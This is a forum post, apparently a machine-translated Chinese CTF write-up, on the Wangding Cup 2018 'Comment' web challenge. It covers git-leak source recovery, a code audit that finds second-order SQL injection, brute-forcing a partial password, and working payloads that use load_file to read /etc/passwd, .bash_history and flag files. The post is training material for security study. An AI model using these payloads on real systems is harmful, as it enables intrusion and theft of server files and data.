[网鼎杯2018—WEB]Comment详细题解(代审、git走漏、二次注入) ...

打印 上一主题 下一主题

主题 920|帖子 920|积分 2760

打开标题,如下图:

起首进行信息网络:
扫描网站目录,可以看到存在git走漏。

这里直接用githacker​把走漏的部分下载下来。


  • 下载地点:https://github.com/WangYihang/GitHacker
  • 这个工具在linux体系上比较好用,按工具拷贝进去大概直接下载,然后输入下令就可以使用。
  1. ​githacker --url http://2b661b6a-7be0-408c-84e4-0aa48b856bee.node4.buuoj.cn:81/ --output-folder 123   #(123是个目录,你可以随便起名)
复制代码
 

脱下源码之后,你会发现一个write_do.php文件,咱们来看一下文件内容
  1. <?php
  2. include "mysql.php";
  3. session_start();
  4. if($_SESSION['login'] != 'yes'){
  5.     header("Location: ./login.php");
  6.     die();
  7. }
  8. if(isset($_GET['do'])){
  9. switch ($_GET['do'])
  10. {
  11. case 'write':
  12.     break;
  13. case 'comment':
  14.     break;
  15. default:
  16.     header("Location: ./index.php");
  17. }
  18. }
  19. else{
  20.     header("Location: ./index.php");
  21. }
  22. ?>
复制代码
感觉怪怪的,应该是少了点什么,所以说我们检察是否存在其他版本:
  1. git log --all
复制代码

可以每次提交都恢复一次,大概说咱们直接从最早的开始恢复,最早的提交就是HEAD指针的位置
在版本为e5b2a2443c2b6d395d06960123142bc91123148c​时可以找到write_do.php​的更加完全版本的代码。
恢复下令如下:
  1. git reset --hard  e5b2a2443c2b6d395d06960123142bc91123148c
复制代码


下面是复原后的代码
  1. //注释是我自己加的哦
  2. <?php
  3. include "mysql.php";
  4. session_start();
  5. if($_SESSION['login'] != 'yes'){
  6.     header("Location: ./login.php");
  7.     die();
  8. }
  9. if(isset($_GET['do'])){
  10. switch ($_GET['do'])
  11. {
  12. //写入
  13. case 'write':
  14.         //利用category字段使用payload,重点语句
  15.     $category = addslashes($_POST['category']);//在每个双引号(")前添加反斜杠
  16.     $title = addslashes($_POST['title']);
  17.     $content = addslashes($_POST['content']);
  18.         //sql,重点语句
  19.     $sql = "insert into board
  20.             set category = '$category',
  21.                 title = '$title',
  22.                 content = '$content'";
  23.     $result = mysql_query($sql);
  24.     header("Location: ./index.php");
  25.     break;
  26. //执行
  27. case 'comment':
  28.     $bo_id = addslashes($_POST['bo_id']);
  29.     $sql = "select category from board where id='$bo_id'";
  30.     $result = mysql_query($sql);
  31.     $num = mysql_num_rows($result);
  32.     if($num>0){
  33.         //重点语句,mysql_fetch_array直接调用category,造成二次注入。
  34.     $category = mysql_fetch_array($result)['category'];
  35.     $content = addslashes($_POST['content']);
  36.     $sql = "insert into comment
  37.             set category = '$category',
  38.                 content = '$content',
  39.                 bo_id = '$bo_id'";
  40.     $result = mysql_query($sql);
  41.     }
  42.     header("Location: ./comment.php?id=$bo_id");
  43.     break;
  44. default:
  45.     header("Location: ./index.php");
  46. }
  47. }
  48. else{
  49.     header("Location: ./index.php");
  50. }
  51. ?>
  52. /*        这几个重点语句的含义:他先将$category的值addslashes了,放入数据库(这时addslashes加的反斜杠被删除了),但是又将他拿了出来,存在二次注入
  53.         也就是说由于addslashes会将一些符号转义但是在sql转义的符号在储存后与addslashes前并没有什么改变(换句话说\'在存入sql后,读取出来仍会是')。所以我们可以写入数据,再通过这一特性将'逃逸出来,即二次注入。
  54.         当我们构造payload的时候只能使用content,代码审计得到的*/
复制代码
接下来进行代码审计,发现存在二次注入
为什么会发生二次注入?


  • 第一次注入的机会:在 case 'write'​ 的部分,攻击者可以通过 POST​ 请求提交包含恶意 SQL 代码的 category​ 字段。例如,攻击者可以提交如下 payload​:
    1. category = 'sports');--
    2. '
    复制代码
    因为该部分的输入只经过了 addslashes()​ 处理,该函数仅在单引号、双引号、反斜杠等特殊字符前加反斜杠,但无法完全防止复杂的 SQL 注入。此时,恶意的 category​ 字段值会被存储到数据库中。
  • 二次注入的机会:当在 case 'comment'​ 中,步伐再次从数据库中读取存储的 category​ 值时,通过 mysql_fetch_array()​ 直接将存储的 category​ 值嵌入到新的 SQL 语句中。由于在读取数据库内容时没有进行额外的处理,这就为攻击者提供了第二次实验恶意 SQL 代码的机会。
例如,假如数据库中存储的 category​ 值为 sports');--​,在注入时:
  1. $sql = "insert into comment        set category = 'sports');--
  2. '
  3. ,            content = '$content',            bo_id = '$bo_id'";
复制代码
这将导致后续的 SQL 语句被解释掉,从而可能破坏数据库查询的逻辑,甚至导致下令实验或走漏数据。
利用 /**/​ 的详细原因:


  • 绕过过滤机制:
       

    • 一些防御机制可能针对常见的 SQL 关键字(如 AND​、OR​)进行简单的过滤和检测。
    • 使用 /**/​ 可以分割关键字。例如,攻击者可以构造雷同如下的 payload​:
      1. sports'/**/OR/**/'1'='1
      复制代码
      在这种情况下,OR '1'='1'​ 成为了实验的条件,使得注入乐成,但假如体系对单词 OR​ 或其他关键字有过滤,解释符号则可以绕过这些防御。

  • 构造复杂的SQL语句:
       

    • 使用 /**/​ 可以拆分 SQL 语句,克制引起体系过滤规则的警觉。
    • 例如,AND/**/1=1​ 与 AND 1=1​ 效果雷同,但前者可以绕过一些简单的防御机制,如仅检测 AND​ 或 OR​ 关键字是否存在。

  • 解释掉剩余的 SQL 代码:
       

    • 在 SQL 注入中,解释符号可以用于提前竣事 SQL 语句。例如,攻击者可以通过构造雷同如下的语句:
      1. sports');--
      复制代码
      大概使用:
      1. sports'/**/OR/**/'1'='1
      2. '/**/;--
      复制代码
      来将后续的 SQL 代码解释掉,从而使得注入代码顺利实验,克制后续逻辑的影响。



  • ​/* ... */​:这是 MySQL 和很多其他SQL数据库支持的块解释符号,可以解释掉一段SQL语句中的内容。
  • ​#​:这是 MySQL 的单行解释符号,作用雷同于 --​,表现在它之后的内容都会被解释掉,直到行尾。
通过组合 */#​,攻击者可以有效地竣事SQL语句,并解释掉剩余的SQL代码,这在SQL注入中非经常见。
至此二次注入部分完毕
然后点击发布,跳转到login.php​,所以说需要先登录进去,才气使用此功能

已经给出了账号密码的一部分,只需要爆破密码的后三位即可,这里密码为“zhangwei666​”,随后便可以使用此功能进行发帖

先写入在写入功能写入payload,在参数category​中content=database()​部分的database()​可以替换为其他SQL查询语句大概函数,payload其余部分则可视为固定。

接着在评论功能触发二次注入*/#(点击'详细',然后在提交留言处再次进行注入),同样在此的payload也视为固定(注意项目标SQL语句为多行,所以需要#​和/**/​配合使用)。

得到回显

实验读文件   ',content=(load_file("/etc/passwd")),/*​;  有些wp 的load_file前面加了select,因为数据库查找留言内容时前面已经加了select,所以可以不用加select ',content=(load_file("/etc/passwd")),/*​ */#
得到

发现除了root用户以外,只有www这个用户在/home/www目录下用了/bin/bash
检察/home/www/.bash_history.bash_history :保存了当前用户使用过的历史下令,方便查找。
  1. ',content=(load_file("/home/www/.bash_history")),/*   
  2. */#
复制代码

看到linux实验过的下令:
1.跳转到tmp目录
2.用unzip解压 html.zip ,这时会产生一个html的文件夹
3.rm 删除了html.zip
4.cp 将html 文件夹拷贝在 /var/www 目录下
5.跳转到 /var/html 目录下
6.删除了.DS_Store​文件
7.启动 web服务
接下来看看文件内里写了什么
  1. ',content=(load_file("/tmp/html/.DS_Store")),/*
  2. */#
复制代码


.DS_Store经常会有一些不可见的字符,使用hex函数对其进行16进制转换
  1. ',content=(hex(load_file("/tmp/html/.DS_Store"))),/*
  2. */#
复制代码

 给他转换成ascll
  1. Bud1
  2. strapIl        bootstrapIlocblobF(ÿÿÿÿÿÿcomment.phpIlocblobÌ(ÿÿcssIlocblobR(ÿÿÿÿÿÿflag_8946e1ff1ee3e40f.phpIlocblobØ(ÿÿÿÿÿÿfontsIlocblobFÿÿÿÿÿÿ        index.phpIlocblobÌÿÿjsIlocblobRÿÿÿÿÿÿ        login.phpIlocblobØÿÿÿÿÿÿ        mysql.phpIlocblobFÿÿÿÿÿÿvendorIlocblobÌÿÿÿÿÿÿwrite_do.phpIlocblobRÿÿÿÿÿÿ @ @ @ @E
  3. DSDB ` @ @ @
复制代码
看到内里有flag_8946e1ff1ee3e40f.php
实验检察/tmp/html/flag_8946e1ff1ee3e40f.php
  1. ',content=(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php")),/*
  2. */#
复制代码
但是发现什么都没有得到,实验与前次方法雷同,加上hex
  1. ',content=(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
  2. */#
复制代码

得到flag,但是居然是假的(/死亡微笑)
得到了一个flag,但是很遗憾他是假的,但是咱们的方法是正确的,所以检察/var/www/html/flag_8946e1ff1ee3e40f.php是否为真的flag
  1. ',content=(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
  2. */#
复制代码

这个才是真的。

考点总结

考点总结:

1.文件走漏

起首考察的就是git​文件走漏,我们可以利用githack/githacker脚本来恢复历史版本和下载git文件。
ps:git log -all​ 恢复历史文件。

2.sql二次注入

在本题中,服务器端只对用传来的数据进行了过滤。sql内部的数据没有进行过滤。使用函数进行转义\'​存入sql后,读取出来仍会是'​。这样'​就逃逸出来。

3.sql文件读取

有读权限那么可以通过load_file函数来读取文件,同时linux 下有很多敏感文件,比如:.bash_history​存放了历史实验下令、/etc/passwd存放了用户信息、/etc/shadow存放用户密码且一般情况下不可读的。

4.linux 下令

在本题中考了写linux下令的细节,如cp会保存原文件(这个真的很细),unzip 解压时默认在当前路径下生成解压出来的文件。

5.分析hex数据

可以将数据转为16进制再通过hexwin写入文件还原从而得到一些内容特别的文件或数据。

感谢各位师傅的耐烦观看。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

鼠扑

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表